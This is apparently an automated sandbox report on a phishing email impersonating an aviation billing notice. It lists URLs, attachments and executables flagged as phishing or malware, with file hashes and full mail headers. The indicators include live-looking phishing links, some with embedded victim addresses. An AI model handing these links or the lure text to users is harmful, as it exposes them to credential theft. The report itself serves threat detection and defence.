	https://merzcon-my.sharepoint.com/:f:/g/personal/cnico_merzcon_onmicrosoft_com/EmjHG5K9dP9BtgBBeTTFhjABJRRLGM6IhVrJlwBTMWY8rg?e=pfkS1f	Get hash	malicious	Unknown	Browse	52.98.243.2
	https://tcmedcenter-my.sharepoint.com/:f:/g/personal/jessica_larson_tcmedcenter_org/Ek1X93Tsfp5KoiWqKbJ_ocQBqlE2wGVJqWkJh4H7mn0vuw?e=Yni2o7	Get hash	malicious	Unknown	Browse	40.99.149.130
	(No subject) (87).eml	Get hash	malicious	HTMLPhisher	Browse	52.98.179.66
	https://anviict.com/?qvtvxymb	Get hash	malicious	HTMLPhisher	Browse	52.98.152.242
	https://gamma.app/docs/Access-Incoming-Fax-Document-yhm8n35mm598lhy	Get hash	malicious	HTMLPhisher	Browse	40.99.150.98
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	52.98.241.178
dual-spo-0005.spo-msedge.net	https://locksleyeng-my.sharepoint.com/:u:/p/james/EYRjyIwuLQJPn5R2jrIFltIBmzTlozOaq98vzYjDadk88A?e=vFBu93	Get hash	malicious	Unknown	Browse	13.107.136.10
	Martin Summers shared _View Document_ with you.eml	Get hash	malicious	Unknown	Browse	13.107.136.10
	Invoice.msg	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://encirc-my.sharepoint.com/:u:/g/personal/gaynor_isaac_encirc360_com/EblrlakCiY9DrsVe1OHInZUBp5tMLaT62sfCgcgcXrtL7g?e=RtyeKG	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://1drv.ms/o/c/66fa7da2ba9759b3/EqcaXs4PlQlIgYgaPtxczNwB_gWaZXRP_eT5RhV50i4cxw?e=5%3aJHIMrP&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	13.107.138.10
	https://360merch-my.sharepoint.com/:u:/p/derek_cummins/Ee8aHkzMy41OgT5fOyc3qz4BdRJzT4bTlOlXY3v0Xazn9Q?e=hZ7jfl	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://eu-central-1.protection.sophos.com/?d=sharepoint.com&u=aHR0cHM6Ly9uZXRvcmc1NTI5NjcxLW15LnNoYXJlcG9pbnQuY29tLzp1Oi9nL3BlcnNvbmFsL2JrYXR6bWFuX2Jha2Nvbl9jYS9FY05hS3RrLXZuNUxzRUREN3ZGT2tLd0Jyd2lPd2sxRUt2WjFIeEZzY19IbExRP2U9Z3NzdVR1&p=m&i=NWNiN2ZlZTg4MWQzYmMxNDQ2YTllNGIz&t=ZlRrdEtuVnlvSnRrRmpiWkdaa0QzUnJKUkZtT05pdmhFSTRnQi9rMnhuZz0=&h=0dfd0e65e0964d34b38aeba6b2a34689&s=AVNPUEhUT0NFTkNSWVBUSVYygINiVNhfZZgtuoRvmxtnIfDHW8XVBEMJ-Rud22NUlMhqF-vLa95XzSmpA0zQuH8	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EXbdq1Yt-JxPlSgSPVHn69cB5_tprGzujznxzQ6i7mvvHA?e=6rgxHk&xsdata=MDV8MDJ8c2hhbm5vbi5wZW5uaW5ndG9uQGRlbm9yYS5jb218ODc2ZTM4NWQ3ZGI5NGM3MTA1MGQwOGRjZmE1Y2RjMDR8ZGIwYjk4ZTFlMjVkNDgzNWI3YzAxODE3MzZlNGQ3YmJ8MHwwfDYzODY2MDUyNDY3ODM3OTYwOXxVbmtub3dufFRXRnBiR1pzYjNkOGV5SldJam9pTUM0d0xqQXdNREFpTENKUUlqb2lWMmx1TXpJaUxDSkJUaUk2SWsxaGFXd2lMQ0pYVkNJNk1uMD18NDAwMDB8fHw%3d&sdata=ZGptdWdxOStnMWRSMzJwUXhzSVJYYVZWZm02QjdSeFlkNlF0K1FJSjFiND0%3d	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://dzentec-my.sharepoint.com/:u:/g/personal/i_lahmer_entec-dz_com/EdYp5IxQ-uxJivnPAqSzv40BZiCX7sphz7Kj8JDyRBKqpQ?e=wqutC4	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s599af221dbfd41b9a607812ebc66d2cf&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VpSHltbG45MjdsQnBnZUJMcnhtMHM4QjRNbHFPTTJWd0ZlQTFNLWNhZ0lnRkE_ZT1aak8wczY&wd=target%28Sezione%20senza%20titolo.one%7C99ad2a4b-5ecc-495f-9ce8-040ac62eb8f2%2F%5BExternal%5D%20-%20Invoice%20%27s%208808-%7C9e6e973e-3cda-429a-a28f-c51dc242e5b1%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	13.107.136.10
code.jquery.com	https://aa.dashfunfil.com	Get hash	malicious	Unknown	Browse	151.101.66.137
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://app.smartsheet.com/b/form/d72b00b027df4e38a9b052ac176790d8	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://docs.google.com/drawings/d/1L9giD0SHUwqCV6PUyhw5H1o5DG-sAxEzlNLyy8oPIRo/preview?usp=sharing	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://url.us.m.mimecastprotect.com/s/Z23rC737BJUZjykZNH8fJHo-qZq?domain=t.ly	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://pakot.com.br/kkk/0Aeg70ge74j5AmtAc2EYGRBU/YWRtaW5AaGFuZGNvbnN0cnVjdGlvbi5jb20=	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://topinfoforu.com/gt?rdto=https://sealexchem.com/zoom/cham/chameleon/#lcipriano@securustechnologies.com/	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://www.calameo.com/read/0077946142a8bf3f5b349	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	151.101.130.137
	Updated Document-9875488675.pdf	Get hash	malicious	Captcha Phish	Browse	151.101.130.137

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.67
	https://email.email.pandadoc.net/c/eJxUkMtu2zoQhp9G3NkQZ0SJXHBh4xy1QJrAgdMgyCbgZWgRtkRFou0qT18YaHrZDQbzDb7_99rWaINkPrlzT0N-i15vjtunx_Nc993rcr7cH5Zt3O4TI80bLFGBkBXrNArVmFqSVAGENw14FwCtIRCuVihY1FBCxUvkvMYacM0x2FDzyjloQt34oiqpN_G0Hs3gjU9uPVBmcX7Lk3Fk7Il0ns7ETrrLeZwL3BTQFtCacfyDuNQX0H7qF9BeoMA2pyMNBf5HygF3aEMVlOCukaJBAUII5AqxaSyEiqRyBbZsSDmG6EyOabjVwA1BjRJWQflyVUniK2mNWwWrZOld8KoOLE0HM8SP31Aks8XnL92iWvXuuuHu8WX3umOTns1woNOpqMpzTmM0IdqJbvZsokucf-H2-rw8zN-_3t_9oIeXfrffbPaqYll_BvxrXGUzHeifzXy7uGhg1zQd59E4uj192kkv3bel-_j_kK--n6-b5t39DAAA__9AXKZY	Get hash	malicious	Unknown	Browse	150.171.27.10
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://app.pandadoc.com/document/v2?token=e9c21c3bf4f951c78573525553193377b2f4e89c?	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f	Get hash	malicious	Unknown	Browse	150.171.28.10
	kWeHSi4zZT.xls	Get hash	malicious	Unknown	Browse	104.208.16.88
	EMWbAn2bSY.xlsx	Get hash	malicious	EICAR	Browse	13.107.246.45
	https://krs.microsoft.com/redirect?id=-crYd9Lj	Get hash	malicious	Unknown	Browse	13.107.246.45
	xxTupY4Fr3.xlsx	Get hash	malicious	Unknown	Browse	20.23.238.122
	https://issuu.com/onlinedocumentpdf/docs/documentation?fr=xKAE9_zU1NQ	Get hash	malicious	Unknown	Browse	150.171.28.10
MICROSOFT-CORP-MSN-AS-BLOCKUS	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.67
	https://email.email.pandadoc.net/c/eJxUkMtu2zoQhp9G3NkQZ0SJXHBh4xy1QJrAgdMgyCbgZWgRtkRFou0qT18YaHrZDQbzDb7_99rWaINkPrlzT0N-i15vjtunx_Nc993rcr7cH5Zt3O4TI80bLFGBkBXrNArVmFqSVAGENw14FwCtIRCuVihY1FBCxUvkvMYacM0x2FDzyjloQt34oiqpN_G0Hs3gjU9uPVBmcX7Lk3Fk7Il0ns7ETrrLeZwL3BTQFtCacfyDuNQX0H7qF9BeoMA2pyMNBf5HygF3aEMVlOCukaJBAUII5AqxaSyEiqRyBbZsSDmG6EyOabjVwA1BjRJWQflyVUniK2mNWwWrZOld8KoOLE0HM8SP31Aks8XnL92iWvXuuuHu8WX3umOTns1woNOpqMpzTmM0IdqJbvZsokucf-H2-rw8zN-_3t_9oIeXfrffbPaqYll_BvxrXGUzHeifzXy7uGhg1zQd59E4uj192kkv3bel-_j_kK--n6-b5t39DAAA__9AXKZY	Get hash	malicious	Unknown	Browse	150.171.27.10
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://app.pandadoc.com/document/v2?token=e9c21c3bf4f951c78573525553193377b2f4e89c?	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f	Get hash	malicious	Unknown	Browse	150.171.28.10
	kWeHSi4zZT.xls	Get hash	malicious	Unknown	Browse	104.208.16.88
	EMWbAn2bSY.xlsx	Get hash	malicious	EICAR	Browse	13.107.246.45
	https://krs.microsoft.com/redirect?id=-crYd9Lj	Get hash	malicious	Unknown	Browse	13.107.246.45
	xxTupY4Fr3.xlsx	Get hash	malicious	Unknown	Browse	20.23.238.122
	https://issuu.com/onlinedocumentpdf/docs/documentation?fr=xKAE9_zU1NQ	Get hash	malicious	Unknown	Browse	150.171.28.10
MICROSOFT-CORP-MSN-AS-BLOCKUS	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.67
	https://email.email.pandadoc.net/c/eJxUkMtu2zoQhp9G3NkQZ0SJXHBh4xy1QJrAgdMgyCbgZWgRtkRFou0qT18YaHrZDQbzDb7_99rWaINkPrlzT0N-i15vjtunx_Nc993rcr7cH5Zt3O4TI80bLFGBkBXrNArVmFqSVAGENw14FwCtIRCuVihY1FBCxUvkvMYacM0x2FDzyjloQt34oiqpN_G0Hs3gjU9uPVBmcX7Lk3Fk7Il0ns7ETrrLeZwL3BTQFtCacfyDuNQX0H7qF9BeoMA2pyMNBf5HygF3aEMVlOCukaJBAUII5AqxaSyEiqRyBbZsSDmG6EyOabjVwA1BjRJWQflyVUniK2mNWwWrZOld8KoOLE0HM8SP31Aks8XnL92iWvXuuuHu8WX3umOTns1woNOpqMpzTmM0IdqJbvZsokucf-H2-rw8zN-_3t_9oIeXfrffbPaqYll_BvxrXGUzHeifzXy7uGhg1zQd59E4uj192kkv3bel-_j_kK--n6-b5t39DAAA__9AXKZY	Get hash	malicious	Unknown	Browse	150.171.27.10
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://app.pandadoc.com/document/v2?token=e9c21c3bf4f951c78573525553193377b2f4e89c?	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f	Get hash	malicious	Unknown	Browse	150.171.28.10
	kWeHSi4zZT.xls	Get hash	malicious	Unknown	Browse	104.208.16.88
	EMWbAn2bSY.xlsx	Get hash	malicious	EICAR	Browse	13.107.246.45
	https://krs.microsoft.com/redirect?id=-crYd9Lj	Get hash	malicious	Unknown	Browse	13.107.246.45
	xxTupY4Fr3.xlsx	Get hash	malicious	Unknown	Browse	20.23.238.122
	https://issuu.com/onlinedocumentpdf/docs/documentation?fr=xKAE9_zU1NQ	Get hash	malicious	Unknown	Browse	150.171.28.10
FASTLYUS	https://aa.dashfunfil.com	Get hash	malicious	Unknown	Browse	151.101.194.137
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	SecuriteInfo.com.Win32.MalwareX-gen.20028.17631.exe	Get hash	malicious	AsyncRAT	Browse	185.199.111.133
	https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f	Get hash	malicious	Unknown	Browse	151.101.65.224
	http://ads.alriyadh.com/www/delivery/ck.php?ct=1&oaparams=2__bannerid=538__zoneid=27__cb=e68f31160f__oadest=https://t.ly/Vp-kT	Get hash	malicious	HTMLPhisher	Browse	104.244.43.131
	https://issuu.com/onlinedocumentpdf/docs/documentation?fr=xKAE9_zU1NQ	Get hash	malicious	Unknown	Browse	151.101.129.140
	Attachment-551059325-009.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Multi Graphics Inc CustomerVendor Form.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	https://app.smartsheet.com/b/form/d72b00b027df4e38a9b052ac176790d8	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://docs.google.com/drawings/d/1L9giD0SHUwqCV6PUyhw5H1o5DG-sAxEzlNLyy8oPIRo/preview?usp=sharing	Get hash	malicious	Unknown	Browse	151.101.194.137

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://aa.dashfunfil.com	Get hash	malicious	Unknown	Browse	4.245.163.56 40.126.31.71
	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	4.245.163.56 40.126.31.71
	https://email.email.pandadoc.net/c/eJxUkMtu2zoQhp9G3NkQZ0SJXHBh4xy1QJrAgdMgyCbgZWgRtkRFou0qT18YaHrZDQbzDb7_99rWaINkPrlzT0N-i15vjtunx_Nc993rcr7cH5Zt3O4TI80bLFGBkBXrNArVmFqSVAGENw14FwCtIRCuVihY1FBCxUvkvMYacM0x2FDzyjloQt34oiqpN_G0Hs3gjU9uPVBmcX7Lk3Fk7Il0ns7ETrrLeZwL3BTQFtCacfyDuNQX0H7qF9BeoMA2pyMNBf5HygF3aEMVlOCukaJBAUII5AqxaSyEiqRyBbZsSDmG6EyOabjVwA1BjRJWQflyVUniK2mNWwWrZOld8KoOLE0HM8SP31Aks8XnL92iWvXuuuHu8WX3umOTns1woNOpqMpzTmM0IdqJbvZsokucf-H2-rw8zN-_3t_9oIeXfrffbPaqYll_BvxrXGUzHeifzXy7uGhg1zQd59E4uj192kkv3bel-_j_kK--n6-b5t39DAAA__9AXKZY	Get hash	malicious	Unknown	Browse	4.245.163.56 40.126.31.71
	bostonbeer.com 4343988690.html	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 40.126.31.71
	isOE78AUbC.exe	Get hash	malicious	MicroClip	Browse	4.245.163.56 40.126.31.71
	https://app.pandadoc.com/document/v2?token=e9c21c3bf4f951c78573525553193377b2f4e89c?	Get hash	malicious	Unknown	Browse	4.245.163.56 40.126.31.71
	https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f	Get hash	malicious	Unknown	Browse	4.245.163.56 40.126.31.71
	http://ipscanadvsf.com	Get hash	malicious	Unknown	Browse	4.245.163.56 40.126.31.71
	kWeHSi4zZT.xls	Get hash	malicious	Unknown	Browse	4.245.163.56 40.126.31.71
	EMWbAn2bSY.xlsx	Get hash	malicious	EICAR	Browse	4.245.163.56 40.126.31.71

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.3842795580723095
Encrypted:	false
SSDEEP:	1536:3PYLP7gsxHN8l4OingsOQNcAz79ysQqt2UFleqoQA9rcm0FvvlGyhu6NbpMu1DpI:IzgR6PgMmiGu2xqoQert0FvvlHHXaLRr
MD5:	2B705DF44518B8B72776FE4E9AD30829
SHA1:	D7A8D782CCDA7DCAA4DCF43634ECBEF17EDD133F
SHA-256:	96B5EEBAEAD39BECDA6BCFEF4B75A3E97BFAF7DAB73D2B112ABCD18134C2C5E9
SHA-512:	AAD1BF294CC748C00D39761762EF7800C579366F82ACC556DA38321BCCB3D149C242599A3E75DAD1D13DDDD6ED120F15F74AF3F25846615C2772185963575858
Malicious:	false
Reputation:	low
Preview:	TH02...... ..2.OG1......SM01X...,....KyOG1..........IPM.Activity...........h...............h............H..h........b.b....h..........K.H..h\cal ...pDat...hHx:.0..........h......K........h........_`Pk...h....@...I.lw...h....H...8.Uk...0....T...............d.........2h...............k0.;.....0.9...!h.............. h.I......0.....#h....8.........$h..K.....8....."h..W.......W...'h..............1h....<.........0h....4....Uk../h....h.....UkH..h._K.p.........-h .......\.....+hR.......................... ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 7 18:00:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9776602391428577
Encrypted:	false
SSDEEP:	48:8QdgTEkRHnidAKZdA1FehwiZUklqehKy+3:83/bFy
MD5:	109B99AD147CA16F5A08DDCE0A74646C
SHA1:	8C7632871FD74000AB85A4FF636F133CC88457B7
SHA-256:	84C500DCB1415BEF0A5D3C739743EE97CC619E8B9B44B090EFC1F0B0D3F4A641
SHA-512:	65B36A29D843002B587F8273E0E1E4B87FE38861C81E85C728FD3E6418C7814048B5E3836C5F83DFDA75C2786489D1F8279713C3B4B880501CAAD2E1DB8FE098
Malicious:	false
Preview:	L..................F.@.. ...$+.,....>=LbG1..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IgY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VgY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VgY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VgY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VgY ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........h. ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

File type:	CDFV2 Microsoft Outlook Message
Entropy (8bit):	5.56359672119468
TrID:	Outlook Message (71009/1) 58.92% Outlook Form Template (41509/1) 34.44% Generic OLE2 / Multistream Compound File (8008/1) 6.64%
File name:	ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg
File size:	310'272 bytes
MD5:	0f6b4fd394daba6cf8bc89a956db437d
SHA1:	5ab562ec891fd0d75c46a74e2aefeca258808796
SHA256:	e6930eacb0759b4050e44730f21b2b1a1b7c0ed802970f521c98a5944d4d18c3
SHA512:	506ebd393f56f5bee9e4bf5e608f4c9515848ce014fb6c8e4a0f30ba263ca63599ed4f507e0bc31b1c735b892c322790e46779f4b697200830b221f2201d1fa9
SSDEEP:	6144:RAbjmP/kh888WiwCD5T+euGTGoGsGyW31/Up10v0ZEO94b3:RAbi2888bqvGTGoGsGy5Wv0/O
TLSH:	1D64C6153AEA0119F2B3AF358BE650A79537FD526D38DA4F2094370D0A73A41D862F3B
File Content Preview:	........................>......................................................................................................................................................................................................................................

Subject:	ACTION REQUIRED: Revised Billing #NL992-071 From Robinson Aviation Inc
From:	ISM ATCT <ism@rvainc.com>
To:	ISM ATCT <ism@rvainc.com>
Cc:	ISM ATCT <ism@rvainc.com>
BCC:	ISM ATCT <ism@rvainc.com>
Date:	Thu, 07 Nov 2024 19:20:37 +0100
Communications:	CAUTION: This email originated from outside of the Federal Aviation Administration (FAA). Do not click on links or open attachments unless you recognize the sender and know the content is safe. Attached file(s) below! Document Review Robinson Aviation Inc Date: 11/07/2024 RobinsonAviationInc -OneDriveD09B43D6-000M.pdf A PDF Document is attached to this email. To view more details about this attachment, Click Here to visit Robinson Aviation Inc Doc Review Respectfully, ww.rvainc.com Chris Mathis Air Traffic Manager Kissimmee Gateway Airport 101 Dyer Blvd Kissimmee, FL 34741 Phone: 407-847-3932 Fax : 407-852-5311 Email: ism@rvainc.com Thanks, Stacie VanWeelden Pella 916 W 16th Street, Pella, IA 50219 P: 641-613-6145 F: 641-628-2929 www.WelgaardCPA.com If you need to send secure information and you are not setup with a client portal, please use the following link: https://www.clientaxcess.com/sharesafe/#/WELGAARD_CPAS Pella, IA \ Urbandale, IA \ Altoona, IA \ Mt. Ayr, IA \ Bethany, MO \ Stanberry, MO Confidentiality Notice: The information in this e-mail and any attachments may be legally privileged and confidential. It is intended solely for the addressee. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy, or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person. Thanks, Stacie VanWeelden Pella 916 W 16th Street, Pella, IA 50219 P: 641-613-6145 F: 641-628-2929 www.WelgaardCPA.com If you need to send secure information and you are not setup with a client portal, please use the following link: https://www.clientaxcess.com/sharesafe/#/WELGAARD_CPAS Pella, IA \ Urbandale, IA \ Altoona, IA \ Mt. Ayr, IA \ Bethany, MO \ Stanberry, MO Confidentiality Notice: The information in this e-mail and any attachments may be legally privileged and confidential. It is intended solely for the addressee. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy, or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person. Thanks, Stacie VanWeelden Pella 916 W 16th Street, Pella, IA 50219 P: 641-613-6145 F: 641-628-2929 www.WelgaardCPA.com If you need to send secure information and you are not setup with a client portal, please use the following link: https://www.clientaxcess.com/sharesafe/#/WELGAARD_CPAS Pella, IA \ Urbandale, IA \ Altoona, IA \ Mt. Ayr, IA \ Bethany, MO \ Stanberry, MO Confidentiality Notice: The information in this e-mail and any attachments may be legally privileged and confidential. It is intended solely for the addressee. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy, or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person. Thanks, Stacie VanWeelden Pella 916 W 16th Street, Pella, IA 50219 P: 641-613-6145 F: 641-628-2929 www.WelgaardCPA.com If you need to send secure information and you are not setup with a client portal, please use the following link: https://www.clientaxcess.com/sharesafe/#/WELGAARD_CPAS Pella, IA \ Urbandale, IA \ Altoona, IA \ Mt. Ayr, IA \ Bethany, MO \ Stanberry, MO Confidentiality Notice: The information in this e-mail and any attachments may be legally privileged and confidential. It is intended solely for the addressee. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy, or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person.
Attachments:	image002.jpg image003.jpg image004.jpg image001.png image006.png image007.png

Key	Value
Received	from CH3PR14MB7140.namprd14.prod.outlook.com
18	20:37 +0000
(2603	10b6:208:1c0::25) with Microsoft SMTP Server (version=TLS1_2,
2024 18	20:37 +0000
Transport; Thu, 7 Nov 2024 18	21:04 +0000
Authentication-Results	spf=fail (sender IP is 204.108.8.6)
Received-SPF	Pass (amcrelay2.faa.gov: domain of ism@rvainc.com
15.20.8137.17 via Frontend Transport; Thu, 7 Nov 2024 18	20:58 +0000
by oexinternalrelay1.faa.gov with ESMTP/TLS/ECDHE-RSA-AES256-GCM-SHA384; 07 Nov 2024 13	20:52 -0500
designates 2a01	111:f403:2409::716 as permitted sender)
identity=mailfrom; client-ip=2a01	111:f403:2409::716;
ip4	52.102.0.0/16 ip4:52.103.0.0/17 ip4:104.47.0.0/17
ip6	2a01:111:f403:f000::/52 -all"
Authentication-Results-Original	amcrelay2.faa.gov; spf=Pass
IronPort-SDR	672d0502_tSWREZRld648Lb5JrGBKQJA48IFSzFsECdFthg3ZhjTknFE
X-IPAS-Result	=?us-ascii?q?A8A3AzP0Ay1ndxEBASqPoIzICQCOFlcDHAEBAQEBAQcBA?=
IronPort-PHdr	A9a23:ybMBWhPt/3ClfcsFKrUl6nZ0CxdPi9zP1nM99M9+2PpHJ7649tH5P
IronPort-Data	A9a23:fFhbcKoiFvSCjg1RkIHksC4xPnteBmL5dhIvgKrLsJaIsI4StFGz/
IronPort-HdrOrdr	A9a23:9nuM6qyz3lajjiKwQqKiKrPxueskLtp133Aq2lEZdPULSKGlfp
X-Talos-CUID	9a23:2n1eVmDscHJKZ1z6ExVZt1QZGPsFSV3A6E7relOIEHoyEKLAHA==
X-Talos-MUID	9a23:vBUIcQqY7PR9usc0fxcezzNzLsQxwYqyMWcmmogt45nDaQ9LajjI2Q==
X-IronPort-Anti-Spam-Filtered	true
X-IronPort-AV	E=Sophos;i="6.12,135,1728968400";
by amcrelay2.faa.gov with ESMTP/TLS/ECDHE-RSA-AES256-GCM-SHA384; 07 Nov 2024 12	20:45 -0600
ARC-Seal	i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
ARC-Message-Signature	i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
h=From	Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
ARC-Authentication-Results	i=1; mx.microsoft.com 1; spf=pass
DKIM-Signature	v=1; a=rsa-sha256; c=relaxed/relaxed; d=rvainc.com;
by SA1PR14MB5475.namprd14.prod.outlook.com (2603	10b6:806:23c::10) with
([fe80	:12a2:a161:7c7d:27ea%5]) with mapi id 15.20.8137.019; Thu, 7 Nov 2024
From	ISM ATCT <ism@rvainc.com>
To	ISM ATCT <ism@rvainc.com>
CC	ISM ATCT <ism@rvainc.com>
Subject	ACTION REQUIRED: Revised Billing #NL992-071 From Robinson Aviation
Thread-Topic	ACTION REQUIRED: Revised Billing #NL992-071 From Robinson
Thread-Index	AdsxQS+GmzHzCSBPRYaF5X/tl3mt2A==
Date	Thu, 7 Nov 2024 18:20:37 +0000
Message-ID	<CH3PR14MB7140956F63ACD0E73180E89AC35C2@CH3PR14MB7140.namprd14.prod.outlook.com>
Accept-Language	en-US
Content-Language	en-US
X-MS-Has-Attach	yes
X-MS-TNEF-Correlator	msip_labels:
x-ms-traffictypediagnostic	CH3PR14MB7140:EE_\|SA1PR14MB5475:EE_\|DS4PEPF00000172:EE_\|SJ0PR09MB6239:EE_\|SA9PR09MB5742:EE_
X-MS-Office365-Filtering-Correlation-Id	478f6819-87dc-4ef3-9fe3-08dcff58f059
x-ms-exchange-senderadcheck	1
x-ms-exchange-antispam-relay	0
X-Microsoft-Antispam-Untrusted	BCL:0;ARA:13230040\|366016\|1800799024\|7416014\|376014\|38070700018\|8096899003;
X-Microsoft-Antispam-Message-Info-Original	=?us-ascii?Q?uy1WPPRIJG2XkhNdrivSJVJ5haLj3UpjkgOmeLy3ePsm+quLDWeTm4VCLGmr?=
X-Forefront-Antispam-Report-Untrusted	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH3PR14MB7140.namprd14.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(7416014)(376014)(38070700018)(8096899003);DIR:OUT;SFP:1102;
Content-Type	multipart/related;
MIME-Version	1.0
X-MS-Exchange-Transport-CrossTenantHeadersStamped	SJ0PR09MB6239
Return-Path	ism@rvainc.com
X-MS-Exchange-Organization-ExpirationStartTime	07 Nov 2024 18:21:03.4378
X-MS-Exchange-Organization-ExpirationStartTimeReason	OriginalSubmit
X-MS-Exchange-Organization-ExpirationInterval	1:00:00:00.0000000
X-MS-Exchange-Organization-ExpirationIntervalReason	OriginalSubmit
